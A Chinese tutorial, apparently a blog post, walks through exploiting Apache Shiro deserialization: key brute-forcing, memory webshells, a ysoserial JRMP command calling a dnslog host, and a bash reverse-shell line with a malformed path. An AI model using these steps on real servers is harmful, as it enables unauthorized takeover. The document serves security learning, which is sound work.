前言
序列化是将对象转换为字符串以便存储传输的一种方式。而反序列化恰好就是序列化的逆过程,反序列化会将字符串转换为对象供程序使用。
当程序在进行反序列化时,会自动调用一些函数,但是如果传入函数的参数可以被用户控制的话,用户可以输入一些恶意代码到函数中,从而导致反序列化漏洞。常见的反序列化有php的函数(serialize、unserialize)、shiro反序列化漏洞等。
实操--shiro反序列化
1、判断存在shiro框架
当cookie存在rememberMe字符时,大概率存在shiro框架。
2、通过shiro工具爆破AES密钥和利用链。
shiro序列化的步骤为:数据-->序列化-->AES加密-->base64编码
shiro反序列化的步骤:base64解码-->AES解密-->反序列化
所以,我们想要利用shiro的反序列化漏洞,必需先找到AES加密方式的密钥。
3、通过shiro工具对服务器进行远程命令执行操作
原理是通过rememberMe参数,向服务器上传一个命令执行恶意代码的序列化。
4、上传内存马
5、连接内存码
第二种方法:使用JRMP利用链,让目标网站执行一个反弹shell命令
(一)通过DNSlog回显,验证反弹shell的可能
1、通过DNS平台,申请一个DNS域名
2、通过ysoserial生成一个访问DNS的序列化(注:红色部分为DNSlog域名)
java -jar ysoserial.jar JRMPClient "hhhhh.bq1igh.dnslog.cn" > poc.ser
3、通过爆破出的密钥,对序列化数据进行加密
注意AES加密方式有两种,一种是CBC模式、一种是GCM模式。本文在使用工具爆破时,爆破结果场景是GCM模式,所以选择GCM模式的加密数据。
4、将加密数据添加到请求数据包的remeberMe部分
5、DNSLOG平台记录访问信息
(二)设置反弹shell
利用原理:
将 payloads/JRMPclient 生成的 payload 1(指定自己vps的IP和端口)发送到漏洞服务器上,反序列化时,将会根据JRMP 协议反向连接 vps,在通信的同时,vps 会将指定好的paylad2 序列化后再次发送到漏洞服务器上,利用正在与 vps 上 exploit/JRMPListener 通信的 JRMPClient 第二次反序列化 vps 发送过来的payload2,从而造成 RCE。
1、在NPS段执行开启JRMPListen命令(打码处为NPS的反弹shell命令base64加密数据)
Linux反弹shell命令:
bash -i &> /dev.tcp/ip/端口 <&1
2、开启NPS的监听端口
3、在攻击机通过ysoserial生成payload1
4、将生成的payload1发送给目标服务器
5、通过NPS监听服务器,进行命令执行。
总结
如果能够爆破到可以进行反弹shell的利用链,如JRMP,那么,反序列化拿到服务器权限的步骤为:第一步,确定存在反序列化漏洞;第二步,上传反弹shell的命令到目标服务器执行;第三步,利用监听服务器对目标服务器进行getshell。
当然,如果有漏洞直接利用工具,可以通过工具直接上传内存马到目标服务器,进而达到getshell的目的。
说明
以上内容,均为文章作者原创,由于传播,利用此文所提供的信息而造成的任何直接或间接的后果和损失,均由使用者本人负责,文章作者不承担任何责任